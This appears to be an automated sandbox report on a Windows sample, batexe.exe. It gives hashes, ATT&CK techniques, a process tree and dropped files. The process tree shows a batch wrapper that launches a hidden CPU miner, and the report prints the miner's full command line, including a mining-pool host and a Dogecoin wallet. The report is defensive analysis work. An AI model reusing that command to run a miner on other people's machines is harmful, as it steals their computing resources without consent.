73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
303s
max time network
310s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 20:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4123566616-543693798-272350410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4123566616-543693798-272350410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3576	b2e.exe
4740	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4740	cpuminer-sse2.exe
4740	cpuminer-sse2.exe
4740	cpuminer-sse2.exe
4740	cpuminer-sse2.exe
4740	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3044-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 3576	3044	batexe.exe	84
PID 3044 wrote to memory of 3576	3044	batexe.exe	84
PID 3044 wrote to memory of 3576	3044	batexe.exe	84
PID 3576 wrote to memory of 3032	3576	b2e.exe	86
PID 3576 wrote to memory of 3032	3576	b2e.exe	86
PID 3576 wrote to memory of 3032	3576	b2e.exe	86
PID 3032 wrote to memory of 4740	3032	cmd.exe	89
PID 3032 wrote to memory of 4740	3032	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9BD2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe

Filesize
20.7MB

MD5
27547283c4563952faf5834becf8c4f5

SHA1
69f56ff7971f8ea39afeb2c831824836f97b20f9

SHA256
c223b3f4a18b59d80802b4fb0976ff30fa1b4a025619abf49088f6eb00d50a8e

SHA512
9b22703f91e415beeab17c014dfddfe68e0259be158900278239a11868cae0dda1aa867001e5e217fa7c02991530afe2754bce3f93a87f9923bf867884d10e0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe

Filesize
4.9MB

MD5
be87d8c6f2a9c419d36dd6ae9836aff5

SHA1
e9b639a0fc287564647bd688d4600295258f402e

SHA256
977e785cd3b742611b551d94e8a51e875091254bc5afe3b9abda1f28d83329d3

SHA512
be1087aa9581db3f1af10dabec117b717e35e29e9793e007b4f1adaa81d2df2a7349081505b5aaba37fd12c3ca92f13e348a1b9bad7cab365dbc1122c5b9096d

Download Submit
C:\Users\Admin\AppData\Local\Temp\8E17.tmp\b2e.exe

Filesize
5.1MB

MD5
2a717cabcbb60f293002bf30828d27b9

SHA1
3329f5a03f6a6b9185a20e6e48f6d0304518c2be

SHA256
0b64f36a955a38b1a256094758035c21cccbe3de50f05ceb1efb767bca5f7b56

SHA512
63163026e7f7c60578710ea56fb4ed1f23f231ea15654eb7ac6b094bc3f8e7fc99eec41c636e2137603ca651abea6b08b3fc6dfef30aceaca5151d866899b06c

Download Submit
C:\Users\Admin\AppData\Local\Temp\9BD2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
b69b2b567106989129ddd1f281a2dbfc

SHA1
f920cdbab8e8093c517e2fe6f927532e18f4f230

SHA256
7cb5d6cab0fa416105b593d2b5a12d9f87fbd74ee6ab856b7771060dddcfe0cc

SHA512
9757224357a416619e6f265b7d470794aa4da7a0c33d0bd2809a9288dd629258357b3c799fcc2663a08bfcb254e00233b9c8d36f0c3188e95a1ffa1ee1334578

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.0MB

MD5
5e50d5ad8ad0be018b4e62991f2055ef

SHA1
a05d7c5c3cdf219b706e7611bccd2cf09c04fe30

SHA256
d14a945fdeee8aa6cffd08a512c7d9b63965223bd2a9bc7165875997e7eeebe5

SHA512
a3a019dae48ac125d44ca9bded52e38df411ab7a7bfd7ea4a19fdc56a3da18c6996837cde9be15c70dc214bcf87e3039fb8b03b481faafdf49445a58261c52e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
3c40059528ede0dea9b3321fda6b534b

SHA1
a0a08c47d8461fd3fde0b90847ef6a62ec1d9893

SHA256
cfca9a2887a1dc9034acbf5dc69bb1b12025607ae1f7446cfa5bbe3919ee4318

SHA512
3f508d101ef24d4a5f7963b790e17585a77c7da42fbe17b81f5b49aa13d0be11f142dd0cd4f84584355a0d4e6b556ddcb51ae749083b93f1f545f04f6d71f9b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3044-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3576-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3576-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4740-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4740-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4740-46-0x0000000073AA0000-0x0000000073B38000-memory.dmp

Filesize
608KB

Download
memory/4740-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4740-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4740-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download